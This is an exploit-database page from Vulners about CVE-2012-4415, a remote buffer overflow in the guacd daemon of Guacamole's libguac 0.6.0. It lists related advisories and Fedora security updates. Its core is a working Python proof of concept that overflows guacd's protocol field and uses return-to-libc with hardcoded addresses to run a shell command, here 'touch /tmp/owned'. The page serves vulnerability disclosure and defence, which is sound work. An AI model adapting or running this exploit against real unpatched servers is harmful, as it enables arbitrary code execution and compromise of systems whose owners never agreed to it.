Lucene search
K

libguac - Remote Buffer Overflow

🗓️ 11 Sep 2012 00:00:00Reported by Michael JumperType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 39 Views

libguac Remote Buffer Overflow, Remote Code Execution, Debian guacd 0.6.0-

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Guacamole 0.6.0 Buffer Overflow Vulnerability
25 Sep 201200:00
zdt
Circl
CVE-2012-4415
11 Sep 201200:00
circl
CVE
CVE-2012-4415
1 Oct 201201:00
cve
Cvelist
CVE-2012-4415
1 Oct 201201:00
cvelist
exploitpack
libguac - Remote Buffer Overflow
11 Sep 201200:00
exploitpack
Fedora
[SECURITY] Fedora 17 Update: libguac-0.6.3-1.fc17
26 Sep 201208:52
fedora
Fedora
[SECURITY] Fedora 17 Update: libguac-client-vnc-0.6.0-8.fc17
26 Sep 201208:52
fedora
Fedora
[SECURITY] Fedora 17 Update: libguac-client-rdp-0.6.1-2.fc17
26 Sep 201208:52
fedora
Fedora
[SECURITY] Fedora 17 Update: guacd-0.6.1-3.fc17
26 Sep 201208:52
fedora
Fedora
[SECURITY] Fedora 17 Update: guacamole-common-0.6.1-2.fc17
26 Sep 201208:52
fedora
Rows per page
source: https://www.securityfocus.com/bid/55497/info

libguac is prone to a remote buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

#!/usr/bin/python
# CVE-2012-4415: PoC for guacd buffer overflow vulnerability # # Copyright (c) 2012 Timo Juhani Lindfors <[email protected]> # # Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with # default configuration. Uses return-to-libc to bypass non-executable # stack.
#
import socket, struct
PROTOCOL_ADDRESS = 0xbf807e9f
SYSTEM_ADDRESS = 0xb76e7640
class GuacdPOC:
    def __init__(self, command):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect(('localhost', 4822))
        self.s("select")
        self.c(",")
        protocol = (command + "; " + "#" * 265)[:265]
        protocol += struct.pack("L", PROTOCOL_ADDRESS)
        protocol += struct.pack("L", SYSTEM_ADDRESS)
        self.s(protocol)
        self.c(";")
    def s(self, x):
        self.sock.send("%d.%s" % (len(x), x))
    def c(self, x):
        self.sock.send(x)
GuacdPOC("touch /tmp/owned")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2012 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 27.5
EPSS0.3445
39